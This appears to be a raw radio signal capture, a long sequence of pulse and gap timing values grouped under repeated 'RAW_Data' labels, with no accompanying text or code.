-340 129 -340 347 -124 339 -128 121 -3708 131 -358 101 -358 143 -334 331 -142 337 -126 329 -140 361 -104 343 -100 137 -352 357 -106 345 -104 361 -94 121 -372 103 -368 125 -366 329 -134 101 -358 107 -370 93 -394 101 -362 103 -382 105 -336 353 -140 335 -92 127 -3708 131 -350 137 -360 105 -336 373 -108 337 -128 365 -106 361 -106 341 -102 135 -354 353 -92 363 -106 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 129 -358 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3710 133 -356 103 -358 107 -370 329 -140 335 -128 329 -140 361 -106 341 -102 137 -352 357 -104 345 -104 363 -94 119 -374 101 -370 125 -364 331 -132 103 -358 105 -370 93 -394 103 -360 -RAW_Data: 103 -382 105 -336 353 -140 333 -94 127 -3740 97 -350 137 -360 103 -338 375 -108 337 -130 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 105 -334 129 -356 93 -372 127 -340 129 -340 347 -122 341 -126 123 -3708 131 -358 103 -358 141 -334 365 -106 337 -128 329 -140 361 -106 341 -102 135 -352 357 -106 345 -104 363 -92 121 -374 101 -370 123 -366 329 -134 103 -358 105 -370 93 -382 95 -370 129 -340 129 -338 349 -122 339 -126 121 -3704 131 -354 103 -394 105 -334 367 -108 337 -128 319 -124 371 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -124 339 -126 123 -3706 131 -358 101 -394 107 -334 367 -106 337 -128 317 -126 369 -96 339 -128 125 -342 357 -140 333 -94 347 -126 121 -372 103 -366 93 -382 351 -102 141 -362 105 -336 127 -374 103 -362 101 -382 105 -336 353 -140 335 -92 127 -3712 131 -352 103 -394 105 -334 371 -108 335 -130 329 -142 359 -106 343 -102 135 -352 357 -108 345 -102 363 -92 121 -374 101 -370 123 -366 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 353 -140 335 -94 125 -3710 131 -352 137 -360 105 -334 373 -106 337 -130 319 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3708 129 -358 103 -394 105 -334 367 -108 335 -128 319 -124 369 -98 337 -128 125 -342 357 -140 333 -94 347 -128 121 -372 101 -366 93 -382 351 -102 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 355 -140 333 -94 125 -3740 99 -348 137 -360 105 -336 375 -108 337 -130 319 -126 369 -96 339 -128 125 -342 355 -140 335 -96 347 -124 121 -372 101 -368 93 -382 351 -102 141 -364 105 -334 129 -356 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3710 133 -358 101 -358 107 -370 329 -140 335 -128 329 -140 361 -106 341 -102 135 -354 357 -106 345 -104 361 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -370 93 -394 101 -362 103 -382 105 -336 353 -140 333 -94 127 -3738 99 -348 137 -360 105 -338 375 -106 337 -130 321 -124 369 -96 339 -128 125 -372 325 -140 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -372 105 -360 103 -384 103 -336 355 -138 335 -94 125 -3710 131 -352 -RAW_Data: 137 -360 105 -334 373 -106 337 -130 331 -140 359 -106 343 -102 135 -354 357 -106 345 -102 363 -94 119 -374 101 -370 125 -364 331 -132 103 -358 107 -368 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3740 97 -350 137 -360 103 -338 377 -106 337 -130 321 -124 369 -98 337 -128 125 -342 357 -140 333 -96 347 -126 121 -372 101 -366 93 -382 351 -102 143 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3702 131 -354 101 -396 103 -336 371 -106 337 -128 351 -94 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3710 131 -358 103 -358 141 -334 365 -106 337 -128 317 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 105 -334 129 -372 103 -362 103 -382 105 -336 353 -140 333 -94 127 -3730 99 -348 127 -372 95 -372 347 -92 377 -94 371 -96 337 -128 337 -126 125 -352 347 -132 331 -124 337 -128 121 -338 133 -366 93 -378 351 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3704 131 -354 103 -394 105 -336 369 -106 337 -128 319 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -122 341 -126 121 -3706 131 -352 103 -394 105 -336 369 -108 337 -128 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3710 131 -358 101 -358 107 -370 363 -108 337 -126 329 -140 361 -106 341 -102 135 -352 353 -92 365 -106 335 -126 121 -356 139 -334 125 -356 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 133 -354 103 -394 105 -334 369 -106 337 -128 319 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3702 131 -352 137 -360 105 -336 371 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 333 -96 347 -124 123 -372 101 -366 93 -384 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 125 -3736 97 -382 103 -360 103 -370 347 -106 339 -130 323 -126 369 -96 -RAW_Data: 337 -128 127 -340 357 -140 335 -126 317 -124 121 -372 101 -368 93 -382 351 -104 141 -362 105 -334 129 -372 103 -362 103 -382 103 -336 355 -140 333 -94 125 -3734 99 -382 101 -360 105 -370 347 -106 339 -130 323 -124 369 -98 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -372 103 -362 103 -382 103 -336 355 -140 333 -94 125 -3740 99 -348 137 -360 105 -336 377 -106 339 -128 321 -124 371 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3706 131 -352 101 -396 105 -334 371 -106 339 -128 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 379 -94 121 -372 101 -366 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3708 133 -356 101 -394 105 -336 367 -106 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 103 -366 93 -382 351 -102 141 -362 105 -336 129 -354 93 -372 129 -340 129 -338 349 -122 341 -126 121 -3712 131 -358 103 -358 107 -368 331 -140 337 -128 327 -140 361 -106 341 -102 137 -348 341 -128 337 -130 337 -126 93 -366 137 -360 103 -342 355 -124 91 -374 129 -340 129 -338 129 -340 125 -362 139 -334 367 -108 337 -128 95 -3742 99 -350 135 -360 105 -338 375 -108 337 -130 319 -126 369 -96 337 -128 127 -340 357 -140 335 -126 317 -124 121 -372 103 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3704 131 -352 137 -360 105 -336 371 -106 339 -128 319 -126 369 -96 339 -128 125 -342 355 -140 335 -94 349 -124 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3708 131 -356 103 -358 141 -336 365 -106 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 333 -94 349 -126 121 -372 101 -368 91 -382 351 -102 141 -364 103 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3708 131 -356 103 -394 105 -334 367 -108 337 -128 329 -140 359 -106 343 -102 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -368 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3712 131 -352 135 -360 105 -336 373 -106 337 -130 319 -126 369 -96 339 -128 125 -342 355 -140 335 -126 317 -126 121 -372 -RAW_Data: 101 -366 93 -384 349 -104 141 -362 103 -336 129 -372 103 -360 103 -382 103 -336 355 -140 335 -126 93 -3710 133 -352 137 -360 103 -336 371 -106 337 -130 331 -140 361 -106 341 -102 137 -352 353 -92 363 -106 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 129 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3710 131 -356 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 131 -356 101 -394 105 -336 367 -108 335 -128 319 -126 369 -96 337 -128 127 -342 357 -140 333 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 129 -338 129 -648574 167 -292 153 -360 139 -324 363 -110 353 -104 341 -142 325 -140 305 -132 133 -348 355 -106 347 -104 363 -92 121 -374 101 -370 91 -396 331 -132 103 -356 107 -368 93 -394 101 -362 103 -382 103 -334 355 -140 333 -94 125 -3732 97 -384 101 -360 105 -338 375 -108 337 -128 321 -124 337 -130 337 -128 125 -344 355 -138 335 -94 345 -126 121 -372 101 -366 93 -380 351 -104 141 -362 105 -334 127 -356 95 -370 129 -340 129 -338 349 -122 339 -126 121 -3708 97 -394 101 -358 107 -368 327 -140 337 -126 327 -138 325 -142 341 -100 135 -352 351 -94 365 -104 337 -124 123 -354 137 -334 127 -368 331 -134 101 -358 105 -370 93 -394 101 -360 103 -382 105 -336 353 -140 333 -94 125 -3706 131 -352 103 -394 105 -334 371 -108 337 -128 319 -124 369 -98 337 -128 125 -342 355 -140 335 -94 345 -126 121 -372 103 -366 93 -380 351 -104 141 -362 105 -334 127 -356 95 -370 129 -340 129 -338 349 -122 339 -126 121 -3708 99 -394 101 -358 107 -368 327 -140 335 -126 329 -140 359 -106 343 -102 135 -350 353 -92 365 -104 337 -124 121 -354 139 -334 125 -370 331 -134 101 -358 107 -368 93 -394 101 -362 103 -382 103 -336 353 -140 335 -94 125 -3706 133 -352 103 -394 105 -336 367 -108 337 -128 317 -126 369 -98 337 -128 125 -342 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3702 131 -340 129 -340 129 -338 349 -122 341 -126 337 -128 337 -128 337 -124 123 -348 347 -132 331 -124 337 -126 121 -340 131 -366 93 -380 349 -104 141 -362 103 -336 127 -358 93 -370 129 -340 129 -340 -RAW_Data: 347 -124 337 -128 121 -3704 133 -358 101 -358 107 -370 327 -142 335 -128 317 -124 369 -98 337 -128 125 -344 355 -140 335 -94 381 -106 105 -348 123 -372 97 -372 347 -92 125 -364 141 -334 125 -354 93 -372 129 -338 129 -340 349 -122 339 -126 121 -3710 97 -394 101 -358 107 -368 327 -142 335 -126 327 -140 361 -106 341 -100 135 -352 353 -94 363 -106 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 337 -128 121 -3712 99 -392 103 -358 105 -370 327 -140 335 -94 357 -142 359 -106 341 -102 135 -348 343 -128 337 -128 337 -126 93 -362 125 -340 129 -372 315 -122 123 -358 139 -334 127 -354 95 -370 129 -340 129 -340 347 -124 337 -128 121 -3712 97 -394 103 -358 105 -370 325 -140 335 -126 327 -140 361 -106 341 -100 135 -348 343 -128 337 -128 337 -126 95 -360 127 -338 129 -372 315 -122 125 -358 139 -334 127 -354 93 -372 129 -338 129 -340 349 -122 357 -106 139 -3716 103 -340 137 -334 123 -356 327 -122 385 -104 361 -106 337 -128 319 -124 121 -372 353 -106 345 -104 363 -92 139 -342 127 -360 93 -390 327 -124 119 -350 137 -336 125 -356 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3712 99 -394 101 -358 107 -368 325 -140 335 -96 357 -140 361 -106 343 -100 135 -348 343 -128 337 -128 337 -94 125 -362 125 -340 129 -372 315 -122 123 -358 139 -334 127 -356 93 -370 129 -340 129 -340 347 -124 359 -104 141 -3712 103 -340 137 -334 123 -354 359 -92 383 -106 359 -108 337 -128 319 -124 123 -372 351 -106 345 -104 363 -94 139 -340 129 -358 93 -392 327 -122 121 -348 137 -334 127 -356 93 -370 129 -340 129 -338 347 -124 341 -126 121 -3710 131 -358 103 -358 105 -370 329 -142 335 -128 327 -140 361 -106 341 -102 135 -350 353 -94 363 -106 335 -124 123 -356 139 -334 125 -356 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3704 131 -356 101 -396 105 -334 367 -108 335 -128 317 -126 369 -96 337 -128 127 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3704 131 -354 103 -394 105 -334 367 -108 337 -128 319 -126 369 -96 337 -128 127 -342 355 -140 335 -94 345 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -334 129 -356 93 -372 129 -340 129 -338 349 -122 341 -126 121 -3706 133 -358 101 -358 107 -370 -RAW_Data: 329 -140 337 -126 329 -140 359 -106 343 -100 137 -352 357 -106 345 -104 361 -94 121 -372 103 -368 125 -352 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 125 -3732 97 -348 127 -372 97 -372 315 -124 343 -126 369 -96 339 -128 335 -126 125 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3706 131 -358 103 -358 107 -368 331 -140 337 -128 327 -140 361 -106 343 -100 135 -352 357 -106 345 -102 363 -94 119 -374 101 -370 125 -352 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 335 -94 139 -3716 99 -358 137 -354 105 -336 355 -140 335 -94 359 -138 361 -106 341 -102 135 -350 341 -128 337 -128 337 -126 95 -360 125 -372 97 -372 315 -122 123 -360 139 -334 127 -354 95 -370 129 -340 129 -338 349 -122 357 -140 105 -3716 103 -340 137 -336 123 -358 327 -122 387 -104 361 -106 337 -96 347 -126 121 -372 353 -104 347 -104 363 -92 139 -342 127 -360 93 -390 327 -124 119 -350 137 -336 125 -356 93 -372 129 -338 129 -340 347 -124 339 -126 121 -3708 131 -356 103 -394 105 -334 365 -108 337 -126 319 -126 369 -96 337 -128 127 -342 355 -140 335 -94 345 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3708 131 -356 101 -394 105 -336 367 -106 337 -128 317 -126 369 -96 339 -126 127 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 131 -356 103 -358 141 -336 329 -142 337 -126 329 -140 361 -106 341 -102 133 -352 357 -106 347 -102 363 -94 119 -374 101 -370 125 -352 349 -104 141 -362 105 -336 127 -358 93 -390 101 -358 141 -334 365 -108 337 -126 95 -3714 133 -342 127 -340 129 -340 347 -124 357 -106 357 -108 339 -124 353 -140 107 -360 331 -126 349 -94 357 -138 103 -354 127 -338 129 -340 347 -124 121 -354 139 -334 125 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3704 131 -354 103 -394 105 -336 367 -106 337 -128 319 -124 369 -98 337 -128 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3706 131 -356 103 -358 141 -336 365 -106 337 -128 327 -140 361 -106 343 -100 135 -352 -RAW_Data: 357 -106 345 -104 363 -92 121 -374 101 -368 125 -366 331 -132 101 -358 107 -370 93 -392 103 -360 103 -382 105 -336 353 -140 335 -94 125 -3710 131 -344 127 -340 129 -340 347 -124 355 -140 323 -144 303 -126 351 -140 105 -362 331 -126 351 -94 369 -96 125 -366 129 -332 121 -376 319 -134 139 -362 105 -336 127 -354 95 -370 129 -340 129 -340 347 -124 339 -126 121 -3702 131 -342 127 -340 129 -340 347 -124 339 -126 337 -128 339 -126 337 -126 123 -350 347 -132 331 -124 337 -128 121 -340 131 -366 91 -380 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3708 131 -358 103 -358 105 -370 331 -140 337 -126 329 -140 361 -106 343 -100 135 -352 357 -106 345 -104 363 -92 121 -374 101 -368 93 -384 351 -102 141 -362 105 -336 129 -356 93 -392 101 -358 141 -334 363 -108 337 -128 95 -3714 131 -354 101 -396 105 -334 371 -106 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 333 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3710 133 -358 101 -358 107 -370 329 -140 337 -126 329 -140 359 -106 343 -100 135 -352 357 -106 345 -104 363 -94 119 -374 101 -368 125 -366 331 -132 103 -358 105 -370 93 -394 103 -360 101 -384 103 -336 355 -140 333 -94 125 -3740 99 -350 137 -360 105 -336 373 -108 337 -130 319 -126 369 -96 337 -128 127 -342 355 -140 335 -96 345 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 125 -3732 97 -350 125 -372 97 -372 347 -92 375 -94 371 -96 337 -128 337 -126 125 -352 347 -132 331 -122 337 -128 121 -340 131 -368 91 -380 349 -104 141 -362 105 -334 129 -356 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3704 131 -356 101 -396 105 -334 367 -106 339 -128 317 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 131 -356 103 -394 105 -336 365 -108 335 -128 329 -140 359 -106 343 -100 137 -352 357 -106 347 -102 363 -92 121 -374 101 -368 125 -364 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3738 99 -348 137 -360 105 -370 343 -106 339 -128 321 -124 369 -96 339 -128 125 -342 355 -140 335 -96 347 -124 121 -372 103 -366 93 -382 -RAW_Data: 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3704 133 -354 103 -394 105 -334 369 -106 337 -128 319 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3712 99 -394 101 -358 107 -368 327 -142 333 -128 327 -140 361 -106 341 -102 135 -350 341 -128 337 -128 337 -126 95 -366 137 -360 103 -342 353 -126 91 -374 129 -338 129 -340 127 -340 125 -364 139 -334 367 -106 337 -128 95 -3740 99 -384 101 -360 105 -338 375 -108 337 -130 321 -124 369 -96 339 -128 125 -342 355 -140 335 -96 347 -124 121 -372 103 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3710 131 -358 101 -358 107 -370 329 -142 335 -126 329 -140 361 -106 341 -102 135 -354 353 -92 365 -104 337 -124 121 -356 139 -334 125 -356 351 -102 143 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3708 131 -358 101 -358 143 -334 365 -106 337 -128 329 -140 361 -106 341 -102 135 -350 357 -106 347 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -368 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3738 99 -382 103 -360 105 -368 345 -106 339 -128 321 -124 369 -98 337 -128 127 -340 357 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3704 131 -356 101 -396 105 -334 367 -108 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 333 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 129 -372 103 -362 103 -382 103 -336 355 -140 333 -94 125 -3734 99 -380 103 -360 103 -370 347 -106 339 -130 323 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 127 -3738 99 -348 137 -360 105 -338 375 -106 339 -128 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 103 -366 93 -382 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3704 131 -352 103 -394 105 -336 369 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 127 -358 93 -370 129 -340 -RAW_Data: 129 -340 347 -124 339 -126 121 -3708 131 -354 103 -394 105 -334 367 -108 337 -128 319 -126 369 -96 337 -128 127 -342 355 -140 335 -94 349 -126 121 -372 101 -368 91 -382 351 -102 141 -362 107 -336 127 -356 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3704 131 -344 127 -340 129 -338 349 -122 341 -126 337 -128 337 -128 337 -126 123 -352 347 -132 331 -124 337 -126 123 -370 99 -368 91 -380 351 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 339 -126 121 -3714 131 -360 101 -358 107 -368 329 -142 335 -128 327 -140 361 -106 343 -100 135 -352 353 -94 365 -104 337 -124 123 -354 139 -334 125 -356 351 -104 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3706 131 -356 101 -396 105 -334 367 -108 337 -128 319 -124 371 -96 337 -128 127 -342 355 -140 335 -94 347 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3710 131 -358 103 -358 105 -370 365 -106 337 -126 319 -124 369 -98 337 -128 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 133 -356 103 -358 141 -334 365 -106 337 -128 329 -140 361 -106 341 -102 137 -352 353 -92 363 -106 337 -124 123 -354 139 -334 125 -356 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3710 131 -356 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 103 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3706 131 -354 103 -394 105 -336 367 -106 337 -128 319 -126 369 -96 337 -128 127 -342 355 -140 335 -96 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -374 103 -362 101 -382 105 -336 355 -140 333 -94 125 -3740 97 -350 137 -360 105 -336 377 -106 337 -130 319 -126 369 -96 339 -128 125 -372 327 -140 335 -94 347 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -372 103 -362 103 -382 103 -336 355 -138 335 -94 125 -3738 97 -382 103 -360 103 -370 343 -108 337 -130 323 -124 369 -98 337 -128 125 -372 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -372 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3736 99 -382 103 -360 -RAW_Data: 103 -370 345 -106 339 -128 323 -124 369 -98 337 -128 125 -372 327 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -334 127 -358 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3708 133 -356 103 -358 141 -334 365 -108 335 -128 329 -140 361 -106 343 -102 135 -350 357 -106 345 -104 363 -92 121 -374 103 -368 125 -364 331 -132 103 -358 107 -368 93 -384 93 -372 129 -340 129 -338 349 -122 339 -126 123 -3700 131 -354 103 -394 105 -334 369 -108 337 -128 319 -124 371 -96 337 -128 127 -340 357 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3706 131 -342 127 -340 129 -340 347 -124 339 -126 337 -130 337 -128 337 -124 125 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 351 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 133 -356 101 -394 105 -336 367 -106 337 -128 329 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 -356 93 -392 101 -358 141 -334 367 -108 335 -128 95 -3740 99 -348 137 -360 105 -338 375 -106 339 -128 321 -124 369 -96 369 -96 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -372 103 -362 103 -382 105 -336 353 -140 333 -94 127 -3736 97 -348 127 -372 95 -372 317 -122 345 -126 369 -96 337 -128 337 -126 123 -352 347 -132 331 -124 337 -128 121 -338 133 -366 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3706 133 -354 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -342 355 -140 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3704 131 -344 127 -340 129 -372 315 -122 341 -128 337 -128 337 -128 337 -126 123 -352 347 -132 331 -122 339 -126 123 -338 133 -366 93 -378 351 -102 141 -362 107 -334 129 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3712 131 -358 103 -358 107 -370 329 -140 337 -128 327 -140 361 -106 341 -102 135 -354 353 -92 365 -104 337 -124 121 -356 139 -334 125 -356 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3708 131 -342 127 -340 129 -340 347 -124 339 -128 337 -128 337 -128 337 -124 -RAW_Data: 125 -350 347 -132 331 -124 337 -126 123 -370 99 -368 91 -382 349 -102 141 -364 103 -336 127 -356 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3708 131 -356 101 -394 107 -334 367 -108 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -122 341 -126 123 -3708 133 -356 103 -358 141 -334 365 -108 337 -126 331 -140 361 -106 341 -102 135 -350 357 -106 347 -104 363 -92 121 -374 101 -368 125 -364 331 -134 101 -358 107 -370 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3734 99 -382 101 -362 103 -370 347 -106 339 -130 323 -124 369 -98 337 -128 125 -372 327 -140 335 -126 317 -124 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 131 -356 103 -394 105 -336 367 -106 337 -128 329 -140 361 -106 341 -102 135 -352 357 -106 347 -102 365 -92 121 -374 101 -368 125 -366 331 -132 101 -358 107 -370 93 -394 103 -360 103 -382 103 -336 355 -140 333 -94 127 -3710 131 -350 137 -360 105 -336 373 -108 337 -128 321 -126 369 -96 337 -128 127 -340 357 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3710 131 -358 101 -394 105 -336 365 -106 337 -128 329 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 125 -366 331 -132 101 -358 107 -370 93 -382 93 -372 129 -340 129 -338 349 -124 337 -126 123 -3710 99 -392 103 -358 107 -368 327 -142 335 -126 329 -140 359 -106 343 -102 135 -348 343 -128 337 -128 337 -126 95 -360 127 -370 97 -372 315 -124 123 -360 139 -334 127 -354 93 -372 129 -340 129 -338 349 -124 339 -126 121 -3708 131 -354 103 -394 105 -334 369 -106 339 -128 317 -126 369 -96 339 -128 125 -342 355 -140 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3712 131 -358 103 -358 107 -368 365 -106 337 -128 329 -140 361 -106 341 -102 135 -352 357 -106 347 -102 363 -92 121 -374 101 -370 123 -366 331 -132 103 -358 107 -368 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3742 99 -348 137 -360 105 -338 375 -106 339 -128 321 -124 369 -98 337 -128 125 -342 357 -140 333 -128 315 -126 121 -372 101 -368 -RAW_Data: 91 -384 351 -102 141 -362 105 -336 127 -374 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3738 99 -346 127 -372 97 -370 317 -124 343 -126 369 -96 339 -126 337 -126 125 -352 347 -132 331 -122 339 -126 121 -372 101 -366 93 -380 349 -104 141 -362 105 -334 129 -354 93 -372 129 -340 129 -338 349 -122 341 -126 121 -3712 131 -358 101 -358 143 -334 365 -106 337 -128 329 -140 361 -106 343 -100 135 -352 355 -106 347 -102 365 -92 121 -374 101 -368 125 -366 331 -134 101 -358 107 -368 93 -394 103 -360 103 -384 103 -336 355 -140 333 -94 127 -3734 97 -350 127 -370 97 -372 